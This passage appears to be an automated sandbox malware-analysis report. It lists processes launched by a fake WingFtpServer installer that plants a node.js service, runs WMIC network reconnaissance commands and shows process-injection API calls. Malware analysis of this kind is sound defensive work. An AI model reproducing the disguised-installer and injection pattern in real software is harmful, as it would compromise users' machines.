Start time:	10:18:01
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7a4ea0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WingFtpServer.tmpPID: 4228, Parent PID: 6120

General

Target ID:	18
Start time:	10:18:06
Start date:	12/09/2022
Path:	C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp" /SL5="$403E6,13223801,146432,C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"
Imagebase:	0x400000
File size:	8279040 bytes
MD5 hash:	4137CF8E14B42B0E1C90AF7628E02978
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: wns22DB.tmpPID: 4880, Parent PID: 4228

General

Target ID:	20
Start time:	10:18:16
Start date:	12/09/2022
Path:	C:\Users\user\AppData\Local\Temp\wns22DB.tmp
Wow64 process (32bit):	true
Commandline:	windowsnetservicehelpersetup.exe /S
Imagebase:	0x400000
File size:	7109767 bytes
MD5 hash:	2BEB8722EA464A6FFB7AE6DC1FE00EF7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: net.exePID: 4856, Parent PID: 4880

General

Target ID:	21
Start time:	10:18:17
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"net" stop windowsnetservicehelper.exe
Imagebase:	0xab0000
File size:	46592 bytes
MD5 hash:	DD0561156F62BC1958CE0E370B23711B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4948, Parent PID: 4856

General

Target ID:	23
Start time:	10:18:18
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: net1.exePID: 4884, Parent PID: 4856

General

Target ID:	24
Start time:	10:18:18
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 stop windowsnetservicehelper.exe
Imagebase:	0x1050000
File size:	141312 bytes
MD5 hash:	B5A26C2BF17222E86B91D26F1247AF3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: taskkill.exePID: 5316, Parent PID: 4880

General

Target ID:	25
Start time:	10:18:20
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"taskkill" /IM windowsnetservicehelper.exe /T /F
Imagebase:	0xa40000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5328, Parent PID: 5316

General

Target ID:	26
Start time:	10:18:21
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 2852, Parent PID: 4880

General

Target ID:	27
Start time:	10:18:24
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"sc" delete windowsnetservicehelper.exe
Imagebase:	0xde0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2744, Parent PID: 2852

General

Target ID:	28
Start time:	10:18:24
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: windowsnetservicehelper.exePID: 4864, Parent PID: 4880

General

Target ID:	29
Start time:	10:18:32
Start date:	12/09/2022
Path:	C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe
Wow64 process (32bit):	true
Commandline:	"windowsnetservicehelper.exe" install
Imagebase:	0x11f0000
File size:	121344 bytes
MD5 hash:	C48855FE677EB4D5C999C01ECCFDB0BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2684, Parent PID: 4864

General

Target ID:	30
Start time:	10:18:35
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: windowsnetservicehelper.exePID: 3252, Parent PID: 4880

General

Target ID:	31
Start time:	10:18:36
Start date:	12/09/2022
Path:	C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe
Wow64 process (32bit):	true
Commandline:	"windowsnetservicehelper.exe" start
Imagebase:	0x11f0000
File size:	121344 bytes
MD5 hash:	C48855FE677EB4D5C999C01ECCFDB0BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5184, Parent PID: 3252

General

Target ID:	32
Start time:	10:18:37
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: windowsnetservicehelper.exePID: 4768, Parent PID: 576

General

Target ID:	33
Start time:	10:18:37
Start date:	12/09/2022
Path:	C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe
Imagebase:	0x11f0000
File size:	121344 bytes
MD5 hash:	C48855FE677EB4D5C999C01ECCFDB0BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: node.exePID: 2116, Parent PID: 4768

General

Target ID:	34
Start time:	10:18:38
Start date:	12/09/2022
Path:	C:\Program Files (x86)\WindowsNetService\node.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\WindowsNetService\node.exe" "C:\Program Files (x86)\WindowsNetService\service.js
Imagebase:	0x400000
File size:	6887560 bytes
MD5 hash:	5F40521D2E1082FE1C734610C4A83911
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4688, Parent PID: 2116

General

Target ID:	35
Start time:	10:18:44
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 4708, Parent PID: 2116

General

Target ID:	36
Start time:	10:18:49
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4948, Parent PID: 4708

General

Target ID:	37
Start time:	10:18:54
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4008, Parent PID: 576

General

Target ID:	38
Start time:	10:18:57
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 1328, Parent PID: 2116

General

Target ID:	39
Start time:	10:18:58
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MpCmdRun.exePID: 6088, Parent PID: 3076

General

Target ID:	40
Start time:	10:18:58
Start date:	12/09/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff69e5c0000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4968, Parent PID: 1328

General

Target ID:	41
Start time:	10:18:59
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 956, Parent PID: 6088

General

Target ID:	42
Start time:	10:18:59
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 2120, Parent PID: 2116

General

Target ID:	43
Start time:	10:19:06
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1276, Parent PID: 2120

General

Target ID:	44
Start time:	10:19:07
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 3424, Parent PID: 2116

General

Target ID:	45
Start time:	10:19:14
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4444, Parent PID: 3424

General

Target ID:	46
Start time:	10:19:15
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: BackgroundTransferHost.exePID: 2224, Parent PID: 800

General

Target ID:	47
Start time:	10:19:16
Start date:	12/09/2022
Path:	C:\Windows\System32\BackgroundTransferHost.exe
Wow64 process (32bit):	false
Commandline:	"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
Imagebase:	0x7ff620b20000
File size:	36864 bytes
MD5 hash:	02BA81746B929ECC9DB6665589B68335
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4584, Parent PID: 576

General

Target ID:	49
Start time:	10:19:23
Start date:	12/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 3108, Parent PID: 2116

General

Target ID:	50
Start time:	10:19:23
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1952, Parent PID: 3108

General

Target ID:	52
Start time:	10:19:24
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 4116, Parent PID: 2116

General

Target ID:	53
Start time:	10:19:36
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 496, Parent PID: 2116

General

Target ID:	54
Start time:	10:19:37
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4264, Parent PID: 4116

General

Target ID:	55
Start time:	10:19:37
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5912, Parent PID: 496

General

Target ID:	56
Start time:	10:19:37
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WMIC.exePID: 4880, Parent PID: 2116

General

Target ID:	57
Start time:	10:19:43
Start date:	12/09/2022
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0x9b0000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4896, Parent PID: 4880

General

Target ID:	58
Start time:	10:19:43
Start date:	12/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: z5i6tLOUD0.exePID: 4928, Parent PID: 5564COMMON

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	61
Total number of Limit Nodes:	2

Executed Functions

Function 03D28260 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessAsUserA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?), ref: 03D284F0

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 38b684cbc7851c91ec15a791593170feefe1876f95e2f17df7dea4945b68719d
Instruction ID: 40ab60ee802d7a65eba7dcac98a257d81faec73f19a4376a04628707eab89830
Opcode Fuzzy Hash: 38b684cbc7851c91ec15a791593170feefe1876f95e2f17df7dea4945b68719d
Instruction Fuzzy Hash: 24A15971E002288FDB10CFA9C945BDDBBB6FF58308F0485A9E818E7290DB749985DF91

Uniqueness

Uniqueness Score: -1.00%

Function 03B72DB8 Relevance: 1.6, Strings: 1, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<wl, xrefs: 03B73005

Memory Dump Source

Source File: 00000000.00000002.314681346.0000000003B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b70000_z5i6tLOUD0.jbxd

Similarity

API ID:
String ID: <wl
API String ID: 0-2289938068
Opcode ID: 1db7ef61b13aecbe4dbb1f9fc42ad00787b1a45acb397245c052e3199729474c
Instruction ID: 50bb965a1dddf9a89ab1ebb7e5c995111ce278e95a5f1f6f37caab3139c40656
Opcode Fuzzy Hash: 1db7ef61b13aecbe4dbb1f9fc42ad00787b1a45acb397245c052e3199729474c
Instruction Fuzzy Hash: A2D19370E00209CFCB14DFA8C484AAEFBF5FF48318F1585A9E525AB355DB34A946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03D2EB98 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9233b3b52eed75141bc8b1ef1142f7f16f9367e7e74bb5f4b1a735a12c4aa3ab
Instruction ID: 4d37e23583f0a17699de73e99b70e82564cee6ac8a998ffeaca77fabef5e6995
Opcode Fuzzy Hash: 9233b3b52eed75141bc8b1ef1142f7f16f9367e7e74bb5f4b1a735a12c4aa3ab
Instruction Fuzzy Hash: 20B16E70E042298FDB10CFA9C8857DDFFF2AF98718F188129E815A7394DB749845CB95

Uniqueness

Uniqueness Score: -1.00%

Function 03D2F468 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f78a99b104922d2a90276c64cbe0620becfda20a7527ed4bea11b6ad9d31b5fa
Instruction ID: 1225f0063320d634705982968c87ae53eea002f2ffac160c7e76052f1f81fc00
Opcode Fuzzy Hash: f78a99b104922d2a90276c64cbe0620becfda20a7527ed4bea11b6ad9d31b5fa
Instruction Fuzzy Hash: 07B17E70E002198FDB10CFA8C8857DEBFF6AF98718F188929D815EB354EB749845CB85

Uniqueness

Uniqueness Score: -1.00%

Function 03D28255 Relevance: 1.8, APIs: 1, Instructions: 265
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessAsUserA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?), ref: 03D284F0

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 9603fe7717509888c44e9eca61406311acb7edbf8144ae8dd930969d200bae23
Instruction ID: c4dddf4f45169acbeb063660abc5d5000e7712dc7009700ade9c15f39a6c4fb8
Opcode Fuzzy Hash: 9603fe7717509888c44e9eca61406311acb7edbf8144ae8dd930969d200bae23
Instruction Fuzzy Hash: D2A15B71E002298FDB10CFA9C945BDDBBB6FF58308F0485A9E818E7290DB749985DF91

Uniqueness

Uniqueness Score: -1.00%

Function 03D2A584 Relevance: 1.6, APIs: 1, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 03D2C592

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 63406f638af803d6661c8e26af886cbf001c4f2bca8e65dff886d5478c795a10
Instruction ID: 1b5eb85dbd39d0eee592394b1997a0b73597d1e4c83c2a1bc6e8dfbba434df18
Opcode Fuzzy Hash: 63406f638af803d6661c8e26af886cbf001c4f2bca8e65dff886d5478c795a10
Instruction Fuzzy Hash: A63144B1D102688FCB10CFA8C88479EBFF1AB18318F14852AE815EB380DB79D845CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03D2C4BC Relevance: 1.6, APIs: 1, Instructions: 88
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 03D2C592

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8b8b69b829a2348512bad74a354e904c2557bed527f717a04b1eb712dbe4a99c
Instruction ID: b7c0c16ad2530d5384b572de5e5fc283af6686e9518ffcff67f4ff4aed79e45b
Opcode Fuzzy Hash: 8b8b69b829a2348512bad74a354e904c2557bed527f717a04b1eb712dbe4a99c
Instruction Fuzzy Hash: 5C3132B1D102698FDB10CFA8C88579EFFF1AF08318F14852AE815A7280DB799845CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03D288E0 Relevance: 1.6, APIs: 1, Instructions: 68
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03D28975

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a086e13acd942e255a55909649c40492529c59883e2b2dc91cb911634d2d2ea7
Instruction ID: 49b386347bfb669570bfbe543bb111d8e60c315d10fcdb151239a1498eed1537
Opcode Fuzzy Hash: a086e13acd942e255a55909649c40492529c59883e2b2dc91cb911634d2d2ea7
Instruction Fuzzy Hash: CC2105B19002599FCF10CFAAD984BDEFBF4FB48324F04852AE558A7350D778A544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03D288E8 Relevance: 1.6, APIs: 1, Instructions: 65
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03D28975

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 62823a33699d0e086b5f29bcf6c53d100fa155c58af00c906ac4a67dcf32e1fa
Instruction ID: 577a0286dc1097efa4c359b86cd2fe833af0e5d53bf625bab4982c651ddaee91
Opcode Fuzzy Hash: 62823a33699d0e086b5f29bcf6c53d100fa155c58af00c906ac4a67dcf32e1fa
Instruction Fuzzy Hash: E32112B19002599FCB10CF9AC984BDEFBF4FB48324F04842AE958A3250D778A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03D28688 Relevance: 1.6, APIs: 1, Instructions: 60
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 03D28707

Memory Dump Source

Source File: 00000000.00000002.314739421.0000000003D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d20000_z5i6tLOUD0.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: ced03f5fb6aa8631630cbbf0eadb221dfc4c21ae242067e90fa91d09c1da1437
Instruction ID: c071269b8207f03ab2bc0ef8ca503609770b01733f8300855e5c7fd0a560ba7b
Opcode Fuzzy Hash: ced03f5fb6aa8631630cbbf0eadb221dfc4c21ae242067e90fa91d09c1da1437
Instruction Fuzzy Hash: 1C2127B1D006299FCB00CF9AD5847EEFBB4BB48224F44812AE418B7240D778A9448FA1

Uniqueness

Uniqueness Score: -1.00%

